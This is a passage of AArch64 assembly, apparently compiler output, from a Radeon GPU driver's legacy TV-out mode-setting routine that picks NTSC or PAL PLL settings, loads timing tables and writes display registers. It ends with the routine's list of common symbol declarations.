ldr w8, [x8] stur w8, [x29, #-172] b LBB0_60 LBB0_60: b LBB0_65 LBB0_61: ldur w8, [x29, #-96] subs w8, w8, #2700 cset w8, ne tbnz w8, #0, LBB0_63 b LBB0_62 LBB0_62: adrp x8, _PAL_TV_PLL_M_27@GOTPAGE ldr x8, [x8, _PAL_TV_PLL_M_27@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-164] adrp x8, _PAL_TV_PLL_N_27@GOTPAGE ldr x8, [x8, _PAL_TV_PLL_N_27@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-168] adrp x8, _PAL_TV_PLL_P_27@GOTPAGE ldr x8, [x8, _PAL_TV_PLL_P_27@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-172] b LBB0_64 LBB0_63: adrp x8, _PAL_TV_PLL_M_14@GOTPAGE ldr x8, [x8, _PAL_TV_PLL_M_14@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-164] adrp x8, _PAL_TV_PLL_N_14@GOTPAGE ldr x8, [x8, _PAL_TV_PLL_N_14@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-168] adrp x8, _PAL_TV_PLL_P_14@GOTPAGE ldr x8, [x8, _PAL_TV_PLL_P_14@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-172] b LBB0_64 LBB0_64: b LBB0_65 LBB0_65: ldr x9, [sp, #40] ; 8-byte Folded Reload ldr x10, [sp, #112] ; 8-byte Folded Reload ldur w8, [x29, #-164] adrp x11, _RADEON_TV_M0LO_MASK@GOTPAGE ldr x11, [x11, _RADEON_TV_M0LO_MASK@GOTPAGEOFF] ldr w11, [x11] and w8, w8, w11 ldur w12, [x29, #-164] adrp x11, _RADEON_TV_M0HI_MASK@GOTPAGE ldr x11, [x11, _RADEON_TV_M0HI_MASK@GOTPAGEOFF] ldr w11, [x11] and w11, w11, w12, asr #8 adrp x12, _RADEON_TV_M0HI_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TV_M0HI_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w11, w11, w12 orr w8, w8, w11 ldur w11, [x29, #-168] adrp x12, _RADEON_TV_N0LO_MASK@GOTPAGE ldr x12, [x12, _RADEON_TV_N0LO_MASK@GOTPAGEOFF] ldr w12, [x12] and w11, w11, w12 adrp x12, _RADEON_TV_N0LO_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TV_N0LO_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w11, w11, w12 orr w8, w8, w11 ldur w12, [x29, #-168] adrp x11, _RADEON_TV_N0HI_MASK@GOTPAGE ldr x11, [x11, _RADEON_TV_N0HI_MASK@GOTPAGEOFF] ldr w11, [x11] and w11, w11, w12, asr #9 adrp x12, _RADEON_TV_N0HI_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TV_N0HI_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w11, w11, w12 orr w8, w8, w11 ldur w11, [x29, #-172] adrp x12, _RADEON_TV_P_MASK@GOTPAGE ldr x12, [x12, _RADEON_TV_P_MASK@GOTPAGEOFF] ldr w12, [x12] and w11, w11, w12 adrp x12, _RADEON_TV_P_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TV_P_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w11, w11, w12 orr w8, w8, w11 stur w8, [x29, #-140] adrp x8, _RADEON_TVPCP_MASK@GOTPAGE ldr x8, [x8, _RADEON_TVPCP_MASK@GOTPAGEOFF] ldr w8, [x8] mov w11, #4 and w8, w11, w8 adrp x12, _RADEON_TVPCP_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TVPCP_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w8, w8, w12 adrp x12, _RADEON_TVPVG_MASK@GOTPAGE ldr x12, [x12, _RADEON_TVPVG_MASK@GOTPAGEOFF] ldr w12, [x12] and w11, w11, w12 adrp x12, _RADEON_TVPVG_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TVPVG_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w11, w11, w12 orr w8, w8, w11 adrp x11, _RADEON_TVPDC_MASK@GOTPAGE ldr x11, [x11, _RADEON_TVPDC_MASK@GOTPAGEOFF] ldr w12, [x11] mov w11, #1 and w11, w11, w12 adrp x12, _RADEON_TVPDC_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_TVPDC_SHIFT@GOTPAGEOFF] ldr w12, [x12] lsl w11, w11, w12 orr w8, w8, w11 ldr w10, [x10] orr w8, w8, w10 adrp x10, _RADEON_TVPLL_TEST_DIS@GOTPAGE ldr x10, [x10, _RADEON_TVPLL_TEST_DIS@GOTPAGEOFF] ldr w10, [x10] orr w8, w8, w10 stur w8, [x29, #-144] ldur x10, [x29, #-72] mov w8, #200 str w8, [x10, #20] ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_69 b LBB0_66 LBB0_66: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_69 b LBB0_67 LBB0_67: ldr x9, [sp, #80] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_69 b LBB0_68 LBB0_68: ldr x9, [sp, #88] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_70 b LBB0_69 LBB0_69: adrp x8, _NTSC_TV_VFTOTAL@GOTPAGE ldr x8, [x8, _NTSC_TV_VFTOTAL@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-148] adrp x8, _hor_timing_NTSC@GOTPAGE ldr x8, [x8, _hor_timing_NTSC@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #168] adrp x8, _vert_timing_NTSC@GOTPAGE ldr x8, [x8, _vert_timing_NTSC@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #160] b LBB0_71 LBB0_70: adrp x8, _hor_timing_PAL@GOTPAGE ldr x8, [x8, _hor_timing_PAL@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #168] adrp x8, _vert_timing_PAL@GOTPAGE ldr x8, [x8, _vert_timing_PAL@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #160] adrp x8, _PAL_TV_VFTOTAL@GOTPAGE ldr x8, [x8, _PAL_TV_VFTOTAL@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-148] b LBB0_71 LBB0_71: stur wzr, [x29, #-92] b LBB0_72 LBB0_72: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-92] adrp x9, _MAX_H_CODE_TIMING_LEN@GOTPAGE ldr x9, [x9, _MAX_H_CODE_TIMING_LEN@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_77 b LBB0_73 LBB0_73: ; in Loop: Header=BB0_72 Depth=1 ldr x8, [sp, #168] ldursw x9, [x29, #-92] ldr w8, [x8, x9, lsl #2] ldur x9, [x29, #-72] ldr x9, [x9, #24] ldursw x10, [x29, #-92] str w8, [x9, x10, lsl #2] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_75 b LBB0_74 LBB0_74: b LBB0_77 LBB0_75: ; in Loop: Header=BB0_72 Depth=1 b LBB0_76 LBB0_76: ; in Loop: Header=BB0_72 Depth=1 ldur w8, [x29, #-92] add w8, w8, #1 stur w8, [x29, #-92] b LBB0_72 LBB0_77: stur wzr, [x29, #-92] b LBB0_78 LBB0_78: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-92] adrp x9, _MAX_V_CODE_TIMING_LEN@GOTPAGE ldr x9, [x9, _MAX_V_CODE_TIMING_LEN@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_83 b LBB0_79 LBB0_79: ; in Loop: Header=BB0_78 Depth=1 ldr x8, [sp, #160] ldursw x9, [x29, #-92] ldr w8, [x8, x9, lsl #2] ldur x9, [x29, #-72] ldr x9, [x9, #32] ldursw x10, [x29, #-92] str w8, [x9, x10, lsl #2] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_81 b LBB0_80 LBB0_80: b LBB0_83 LBB0_81: ; in Loop: Header=BB0_78 Depth=1 b LBB0_82 LBB0_82: ; in Loop: Header=BB0_78 Depth=1 ldur w8, [x29, #-92] add w8, w8, #1 stur w8, [x29, #-92] b LBB0_78 LBB0_83: ldur x0, [x29, #-24] bl _radeon_legacy_tv_init_restarts ldr x9, [sp, #128] ; 8-byte Folded Reload ldr x8, [sp, #120] ; 8-byte Folded Reload ldr w0, [x8] ldur w8, [x29, #-112] ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_CRT_ASYNC_RST@GOTPAGE ldr x9, [x9, _RADEON_CRT_ASYNC_RST@GOTPAGEOFF] str x9, [sp, #16] ; 8-byte Folded Spill ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_TV_FIFO_ASYNC_RST@GOTPAGE ldr x9, [x9, _RADEON_TV_FIFO_ASYNC_RST@GOTPAGEOFF] ldr w9, [x9] orr w1, w8, w9 bl _WREG32 ldr x8, [sp, #136] ; 8-byte Folded Reload ldr w0, [x8] bl _RREG32 ldr x8, [sp, #136] ; 8-byte Folded Reload stur w0, [x29, #-108] adrp x9, _RADEON_TV_DAC_NBLANK@GOTPAGE ldr x9, [x9, _RADEON_TV_DAC_NBLANK@GOTPAGEOFF] ldr w10, [x9] ldur w9, [x29, #-108] bic w9, w9, w10 stur w9, [x29, #-108] adrp x9, _RADEON_TV_DAC_BGSLEEP@GOTPAGE ldr x9, [x9, _RADEON_TV_DAC_BGSLEEP@GOTPAGEOFF] ldr w9, [x9] adrp x10, _RADEON_TV_DAC_RDACPD@GOTPAGE ldr x10, [x10, _RADEON_TV_DAC_RDACPD@GOTPAGEOFF] ldr w10, [x10] orr w9, w9, w10 adrp x10, _RADEON_TV_DAC_GDACPD@GOTPAGE ldr x10, [x10, _RADEON_TV_DAC_GDACPD@GOTPAGEOFF] ldr w10, [x10] orr w9, w9, w10 adrp x10, _RADEON_TV_DAC_BDACPD@GOTPAGE ldr x10, [x10, _RADEON_TV_DAC_BDACPD@GOTPAGEOFF] ldr w10, [x10] orr w10, w9, w10 ldur w9, [x29, #-108] orr w9, w9, w10 stur w9, [x29, #-108] ldr w0, [x8] ldur w1, [x29, #-108] bl _WREG32 ldr x8, [sp, #112] ; 8-byte Folded Reload ldr x9, [sp, #144] ; 8-byte Folded Reload ldr w0, [x9] ldr w8, [x8] mvn w2, w8 mov w1, #0 str w1, [sp, #24] ; 4-byte Folded Spill bl _WREG32_PLL_P adrp x8, _RADEON_TV_PLL_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_PLL_CNTL@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-140] bl _WREG32_PLL ldr x8, [sp, #152] ; 8-byte Folded Reload ldr x9, [sp, #144] ; 8-byte Folded Reload ldr w0, [x9] ldr w1, [x8] ldr w8, [x8] mvn w2, w8 bl _WREG32_PLL_P ldur x0, [x29, #-24] mov w1, #200 str w1, [sp, #4] ; 4-byte Folded Spill mov w2, #800 str w2, [sp, #8] ; 4-byte Folded Spill mov w3, #135 str w3, [sp, #12] ; 4-byte Folded Spill bl _radeon_wait_pll_lock ldr x8, [sp, #152] ; 8-byte Folded Reload ldr x9, [sp, #144] ; 8-byte Folded Reload ldr w1, [sp, #24] ; 4-byte Folded Reload ldr w0, [x9] ldr w8, [x8] mvn w2, w8 bl _WREG32_PLL_P ldur x0, [x29, #-24] mov w1, #300 mov w2, #160 mov w3, #27 bl _radeon_wait_pll_lock ldr w1, [sp, #4] ; 4-byte Folded Reload ldr w2, [sp, #8] ; 4-byte Folded Reload ldr w3, [sp, #12] ; 4-byte Folded Reload ldur x0, [x29, #-24] bl _radeon_wait_pll_lock ldr x8, [sp, #144] ; 8-byte Folded Reload ldr w1, [sp, #24] ; 4-byte Folded Reload ldr w0, [x8] mov w2, #-16 bl _WREG32_PLL_P ldr x8, [sp, #112] ; 8-byte Folded Reload ldr x9, [sp, #144] ; 8-byte Folded Reload ldr w0, [x9] ldr w1, [x8] ldr w8, [x8] mvn w2, w8 bl _WREG32_PLL_P ldr x8, [sp, #144] ; 8-byte Folded Reload ldr w0, [x8] adrp x8, _RADEON_TVPDC_SHIFT@GOTPAGE ldr x8, [x8, _RADEON_TVPDC_SHIFT@GOTPAGEOFF] ldr w9, [x8] mov w8, #1 lsl w1, w8, w9 adrp x8, _RADEON_TVPDC_MASK@GOTPAGE ldr x8, [x8, _RADEON_TVPDC_MASK@GOTPAGEOFF] ldr w8, [x8] mvn w2, w8 bl _WREG32_PLL_P ldr x8, [sp, #144] ; 8-byte Folded Reload ldr w1, [sp, #24] ; 4-byte Folded Reload ldr w0, [x8] adrp x8, _RADEON_TVPLL_SLEEP@GOTPAGE ldr x8, [x8, _RADEON_TVPLL_SLEEP@GOTPAGEOFF] ldr w8, [x8] mvn w2, w8 bl _WREG32_PLL_P adrp x8, _RADEON_TV_RGB_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_RGB_CNTL@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-116] bl _WREG32 adrp x8, _RADEON_TV_HTOTAL@GOTPAGE ldr x8, [x8, _RADEON_TV_HTOTAL@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-80] ldr w8, [x8, #8] subs w1, w8, #1 bl _WREG32 adrp x8, _RADEON_TV_HDISP@GOTPAGE ldr x8, [x8, _RADEON_TV_HDISP@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-80] ldr w8, [x8, #4] subs w1, w8, #1 bl _WREG32 adrp x8, _RADEON_TV_HSTART@GOTPAGE ldr x8, [x8, _RADEON_TV_HSTART@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-80] ldr w1, [x8, #12] bl _WREG32 adrp x8, _RADEON_TV_VTOTAL@GOTPAGE ldr x8, [x8, _RADEON_TV_VTOTAL@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-80] ldr w8, [x8] subs w1, w8, #1 bl _WREG32 adrp x8, _RADEON_TV_VDISP@GOTPAGE ldr x8, [x8, _RADEON_TV_VDISP@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-80] ldr w8, [x8, #16] subs w1, w8, #1 bl _WREG32 adrp x8, _RADEON_TV_FTOTAL@GOTPAGE ldr x8, [x8, _RADEON_TV_FTOTAL@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-148] bl _WREG32 adrp x8, _RADEON_TV_VSCALER_CNTL1@GOTPAGE ldr x8, [x8, _RADEON_TV_VSCALER_CNTL1@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-132] bl _WREG32 adrp x8, _RADEON_TV_VSCALER_CNTL2@GOTPAGE ldr x8, [x8, _RADEON_TV_VSCALER_CNTL2@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-136] bl _WREG32 adrp x8, _RADEON_TV_Y_FALL_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_Y_FALL_CNTL@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-152] bl _WREG32 adrp x8, _RADEON_TV_Y_RISE_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_Y_RISE_CNTL@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-156] bl _WREG32 adrp x8, _RADEON_TV_Y_SAW_TOOTH_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_Y_SAW_TOOTH_CNTL@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-160] bl _WREG32 ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x10, [sp, #128] ; 8-byte Folded Reload ldr x8, [sp, #120] ; 8-byte Folded Reload ldr w0, [x8] ldur w8, [x29, #-112] ldr w10, [x10] orr w8, w8, w10 ldr w9, [x9] orr w1, w8, w9 bl _WREG32 ldur x0, [x29, #-64] bl _radeon_legacy_write_tv_restarts ldur x0, [x29, #-64] bl _radeon_restore_tv_timing_tables ldr x9, [sp, #128] ; 8-byte Folded Reload ldr x8, [sp, #120] ; 8-byte Folded Reload ldr w0, [x8] ldur w8, [x29, #-112] ldr w9, [x9] orr w1, w8, w9 bl _WREG32 adrp x8, _RADEON_TV_SYNC_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_SYNC_CNTL@GOTPAGEOFF] ldr w0, [x8] adrp x8, _RADEON_SYNC_PUB@GOTPAGE ldr x8, [x8, _RADEON_SYNC_PUB@GOTPAGEOFF] ldr w8, [x8] adrp x9, _RADEON_TV_SYNC_IO_DRIVE@GOTPAGE ldr x9, [x9, _RADEON_TV_SYNC_IO_DRIVE@GOTPAGEOFF] ldr w9, [x9] orr w1, w8, w9 bl _WREG32 adrp x8, _RADEON_TV_TIMING_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_TIMING_CNTL@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-72] ldr w1, [x8, #16] bl _WREG32 adrp x8, _RADEON_TV_MODULATOR_CNTL1@GOTPAGE ldr x8, [x8, _RADEON_TV_MODULATOR_CNTL1@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-124] bl _WREG32 adrp x8, _RADEON_TV_MODULATOR_CNTL2@GOTPAGE ldr x8, [x8, _RADEON_TV_MODULATOR_CNTL2@GOTPAGEOFF] ldr w0, [x8] ldur w1, [x29, #-128] bl _WREG32 adrp x8, _RADEON_TV_PRE_DAC_MUX_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_PRE_DAC_MUX_CNTL@GOTPAGEOFF] ldr w0, [x8] adrp x8, _RADEON_Y_RED_EN@GOTPAGE ldr x8, [x8, _RADEON_Y_RED_EN@GOTPAGEOFF] ldr w8, [x8] adrp x9, _RADEON_C_GRN_EN@GOTPAGE ldr x9, [x9, _RADEON_C_GRN_EN@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_CMP_BLU_EN@GOTPAGE ldr x9, [x9, _RADEON_CMP_BLU_EN@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_DAC_DITHER_EN@GOTPAGE ldr x9, [x9, _RADEON_DAC_DITHER_EN@GOTPAGEOFF] ldr w9, [x9] orr w1, w8, w9 bl _WREG32 ldr w1, [sp, #24] ; 4-byte Folded Reload adrp x8, _RADEON_TV_CRC_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_CRC_CNTL@GOTPAGEOFF] ldr w0, [x8] bl _WREG32 ldr x8, [sp, #120] ; 8-byte Folded Reload ldr w0, [x8] ldur w1, [x29, #-112] bl _WREG32 adrp x8, _RADEON_TV_GAIN_LIMIT_SETTINGS@GOTPAGE ldr x8, [x8, _RADEON_TV_GAIN_LIMIT_SETTINGS@GOTPAGEOFF] ldr w0, [x8] adrp x8, _RADEON_UV_GAIN_LIMIT_SHIFT@GOTPAGE ldr x8, [x8, _RADEON_UV_GAIN_LIMIT_SHIFT@GOTPAGEOFF] ldr w9, [x8] mov w8, #383 lsl w8, w8, w9 adrp x9, _RADEON_Y_GAIN_LIMIT_SHIFT@GOTPAGE ldr x9, [x9, _RADEON_Y_GAIN_LIMIT_SHIFT@GOTPAGEOFF] ldr w10, [x9] mov w9, #1535 lsl w9, w9, w10 orr w1, w8, w9 bl _WREG32 adrp x8, _RADEON_TV_LINEAR_GAIN_SETTINGS@GOTPAGE ldr x8, [x8, _RADEON_TV_LINEAR_GAIN_SETTINGS@GOTPAGEOFF] ldr w0, [x8] adrp x8, _RADEON_UV_GAIN_SHIFT@GOTPAGE ldr x8, [x8, _RADEON_UV_GAIN_SHIFT@GOTPAGEOFF] ldr w8, [x8] mov w9, #256 lsl w8, w9, w8 adrp x10, _RADEON_Y_GAIN_SHIFT@GOTPAGE ldr x10, [x10, _RADEON_Y_GAIN_SHIFT@GOTPAGEOFF] ldr w10, [x10] lsl w9, w9, w10 orr w1, w8, w9 bl _WREG32 ldr x8, [sp, #136] ; 8-byte Folded Reload ldr w0, [x8] ldur w1, [x29, #-120] bl _WREG32 b LBB0_84 LBB0_84: ldp x29, x30, [sp, #352] ; 16-byte Folded Reload ldp x28, x27, [sp, #336] ; 16-byte Folded Reload add sp, sp, #368 ret .cfi_endproc ; -- End function .comm _RADEON_VIN_ASYNC_RST,4,2 ; @RADEON_VIN_ASYNC_RST .comm _RADEON_CRT_FIFO_CE_EN,4,2 ; @RADEON_CRT_FIFO_CE_EN .comm _RADEON_TV_FIFO_CE_EN,4,2 ; @RADEON_TV_FIFO_CE_EN .comm _RADEON_TV_ON,4,2 ; @RADEON_TV_ON .comm _RADEON_TVCLK_ALWAYS_ONb,4,2 ; @RADEON_TVCLK_ALWAYS_ONb .comm _TV_STD_NTSC,8,3 ; @TV_STD_NTSC .comm _TV_STD_NTSC_J,8,3 ; @TV_STD_NTSC_J .comm _RADEON_RESTART_PHASE_FIX,4,2 ; @RADEON_RESTART_PHASE_FIX .comm _RADEON_SLEW_RATE_LIMIT,4,2 ; @RADEON_SLEW_RATE_LIMIT .comm _RADEON_SYNC_TIP_LEVEL,4,2 ; @RADEON_SYNC_TIP_LEVEL .comm _RADEON_YFLT_EN,4,2 ; @RADEON_YFLT_EN .comm _RADEON_UVFLT_EN,4,2 ; @RADEON_UVFLT_EN .comm _RADEON_CY_FILT_BLEND_SHIFT,4,2 ; @RADEON_CY_FILT_BLEND_SHIFT .comm _RADEON_SET_UP_LEVEL_SHIFT,4,2 ; @RADEON_SET_UP_LEVEL_SHIFT .comm _RADEON_BLANK_LEVEL_SHIFT,4,2 ; @RADEON_BLANK_LEVEL_SHIFT .comm _RADEON_TV_U_BURST_LEVEL_MASK,4,2 ; @RADEON_TV_U_BURST_LEVEL_MASK .comm _RADEON_TV_V_BURST_LEVEL_MASK,4,2 ; @RADEON_TV_V_BURST_LEVEL_MASK .comm _RADEON_TV_V_BURST_LEVEL_SHIFT,4,2 ; @RADEON_TV_V_BURST_LEVEL_SHIFT .comm _TV_STD_SCART_PAL,8,3 ; @TV_STD_SCART_PAL .comm _RADEON_ALT_PHASE_EN,4,2 ; @RADEON_ALT_PHASE_EN .comm _RADEON_RGB_DITHER_EN,4,2 ; @RADEON_RGB_DITHER_EN .comm _RADEON_TVOUT_SCALE_EN,4,2 ; @RADEON_TVOUT_SCALE_EN .comm _RADEON_UVRAM_READ_MARGIN_SHIFT,4,2 ; @RADEON_UVRAM_READ_MARGIN_SHIFT .comm _RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT,4,2 ; @RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT .comm _RADEON_RGB_SRC_SEL_CRTC2,4,2 ; @RADEON_RGB_SRC_SEL_CRTC2 .comm _RMX_OFF,8,3 ; @RMX_OFF .comm _RADEON_RGB_SRC_SEL_RMX,4,2 ; @RADEON_RGB_SRC_SEL_RMX .comm _RADEON_RGB_SRC_SEL_CRTC1,4,2 ; @RADEON_RGB_SRC_SEL_CRTC1 .comm _TV_STD_PAL_M,8,3 ; @TV_STD_PAL_M .comm _TV_STD_PAL_60,8,3 ; @TV_STD_PAL_60 .comm _NTSC_TV_LINES_PER_FRAME,4,2 ; @NTSC_TV_LINES_PER_FRAME .comm _PAL_TV_LINES_PER_FRAME,4,2 ; @PAL_TV_LINES_PER_FRAME .comm _RADEON_TV_VSCALER_CNTL1,4,2 ; @RADEON_TV_VSCALER_CNTL1 .comm _FRAC_BITS,4,2 ; @FRAC_BITS .comm _RADEON_RESTART_FIELD,4,2 ; @RADEON_RESTART_FIELD .comm _RADEON_Y_DEL_W_SIG_SHIFT,4,2 ; @RADEON_Y_DEL_W_SIG_SHIFT .comm _SLOPE_limit,8,3 ; @SLOPE_limit .comm _SLOPE_value,8,3 ; @SLOPE_value .comm _YCOEF_EN_value,8,3 ; @YCOEF_EN_value .comm _YCOEF_value,8,3 ; @YCOEF_value .comm _RADEON_Y_FALL_PING_PONG,4,2 ; @RADEON_Y_FALL_PING_PONG .comm _RADEON_Y_RISE_PING_PONG,4,2 ; @RADEON_Y_RISE_PING_PONG .comm _RADEON_TV_VSCALER_CNTL2,4,2 ; @RADEON_TV_VSCALER_CNTL2 .comm _RADEON_DITHER_MODE,4,2 ; @RADEON_DITHER_MODE .comm _RADEON_Y_OUTPUT_DITHER_EN,4,2 ; @RADEON_Y_OUTPUT_DITHER_EN .comm _RADEON_UV_OUTPUT_DITHER_EN,4,2 ; @RADEON_UV_OUTPUT_DITHER_EN .comm _RADEON_UV_TO_BUF_DITHER_EN,4,2 ; @RADEON_UV_TO_BUF_DITHER_EN .comm _RADEON_UV_INC_SHIFT,4,2 ; @RADEON_UV_INC_SHIFT .comm _RADEON_UV_INC_MASK,4,2 ; @RADEON_UV_INC_MASK .comm _RADEON_UV_OUTPUT_POST_SCALE_SHIFT,4,2 ; @RADEON_UV_OUTPUT_POST_SCALE_SHIFT .comm _RADEON_TV_DAC_NBLANK,4,2 ; @RADEON_TV_DAC_NBLANK .comm _RADEON_TV_DAC_NHOLD,4,2 ; @RADEON_TV_DAC_NHOLD .comm _RADEON_TV_DAC_STD_NTSC,4,2 ; @RADEON_TV_DAC_STD_NTSC .comm _RADEON_TV_DAC_STD_PAL,4,2 ; @RADEON_TV_DAC_STD_PAL .comm _NTSC_TV_PLL_M_27,4,2 ; @NTSC_TV_PLL_M_27 .comm _NTSC_TV_PLL_N_27,4,2 ; @NTSC_TV_PLL_N_27 .comm _NTSC_TV_PLL_P_27,4,2 ; @NTSC_TV_PLL_P_27 .comm _NTSC_TV_PLL_M_14,4,2 ; @NTSC_TV_PLL_M_14 .comm _NTSC_TV_PLL_N_14,4,2 ; @NTSC_TV_PLL_N_14 .comm _NTSC_TV_PLL_P_14,4,2 ; @NTSC_TV_PLL_P_14 .comm _PAL_TV_PLL_M_27,4,2 ; @PAL_TV_PLL_M_27 .comm _PAL_TV_PLL_N_27,4,2 ; @PAL_TV_PLL_N_27 .comm _PAL_TV_PLL_P_27,4,2 ; @PAL_TV_PLL_P_27 .comm _PAL_TV_PLL_M_14,4,2 ; @PAL_TV_PLL_M_14 .comm _PAL_TV_PLL_N_14,4,2 ; @PAL_TV_PLL_N_14 .comm _PAL_TV_PLL_P_14,4,2 ; @PAL_TV_PLL_P_14 .comm _RADEON_TV_M0LO_MASK,4,2 ; @RADEON_TV_M0LO_MASK .comm _RADEON_TV_M0HI_MASK,4,2 ; @RADEON_TV_M0HI_MASK .comm _RADEON_TV_M0HI_SHIFT,4,2 ; @RADEON_TV_M0HI_SHIFT .comm _RADEON_TV_N0LO_MASK,4,2 ; @RADEON_TV_N0LO_MASK .comm _RADEON_TV_N0LO_SHIFT,4,2 ; @RADEON_TV_N0LO_SHIFT .comm _RADEON_TV_N0HI_MASK,4,2 ; @RADEON_TV_N0HI_MASK .comm _RADEON_TV_N0HI_SHIFT,4,2 ; @RADEON_TV_N0HI_SHIFT .comm _RADEON_TV_P_MASK,4,2 ; @RADEON_TV_P_MASK .comm _RADEON_TV_P_SHIFT,4,2 ; @RADEON_TV_P_SHIFT .comm _RADEON_TVPCP_MASK,4,2 ; @RADEON_TVPCP_MASK .comm _RADEON_TVPCP_SHIFT,4,2 ; @RADEON_TVPCP_SHIFT .comm _RADEON_TVPVG_MASK,4,2 ; @RADEON_TVPVG_MASK .comm _RADEON_TVPVG_SHIFT,4,2 ; @RADEON_TVPVG_SHIFT .comm _RADEON_TVPDC_MASK,4,2 ; @RADEON_TVPDC_MASK .comm _RADEON_TVPDC_SHIFT,4,2 ; @RADEON_TVPDC_SHIFT .comm _RADEON_TVCLK_SRC_SEL_TVPLL,4,2 ; @RADEON_TVCLK_SRC_SEL_TVPLL .comm _RADEON_TVPLL_TEST_DIS,4,2 ; @RADEON_TVPLL_TEST_DIS .comm _NTSC_TV_VFTOTAL,4,2 ; @NTSC_TV_VFTOTAL .comm _hor_timing_NTSC,8,3 ; @hor_timing_NTSC .comm _vert_timing_NTSC,8,3 ; @vert_timing_NTSC .comm _hor_timing_PAL,8,3 ; @hor_timing_PAL .comm _vert_timing_PAL,8,3 ; @vert_timing_PAL .comm _PAL_TV_VFTOTAL,4,2 ; @PAL_TV_VFTOTAL .comm _MAX_H_CODE_TIMING_LEN,4,2 ; @MAX_H_CODE_TIMING_LEN .comm _MAX_V_CODE_TIMING_LEN,4,2 ; @MAX_V_CODE_TIMING_LEN .comm _RADEON_TV_MASTER_CNTL,4,2 ; @RADEON_TV_MASTER_CNTL .comm _RADEON_TV_ASYNC_RST,4,2 ; @RADEON_TV_ASYNC_RST .comm _RADEON_CRT_ASYNC_RST,4,2 ; @RADEON_CRT_ASYNC_RST .comm _RADEON_TV_FIFO_ASYNC_RST,4,2 ; @RADEON_TV_FIFO_ASYNC_RST .comm _RADEON_TV_DAC_CNTL,4,2 ; @RADEON_TV_DAC_CNTL .comm _RADEON_TV_DAC_BGSLEEP,4,2 ; @RADEON_TV_DAC_BGSLEEP .comm _RADEON_TV_DAC_RDACPD,4,2 ; @RADEON_TV_DAC_RDACPD .comm _RADEON_TV_DAC_GDACPD,4,2 ; @RADEON_TV_DAC_GDACPD .comm _RADEON_TV_DAC_BDACPD,4,2 ; @RADEON_TV_DAC_BDACPD .comm _RADEON_TV_PLL_CNTL1,4,2 ; @RADEON_TV_PLL_CNTL1 .comm _RADEON_TV_PLL_CNTL,4,2 ; @RADEON_TV_PLL_CNTL 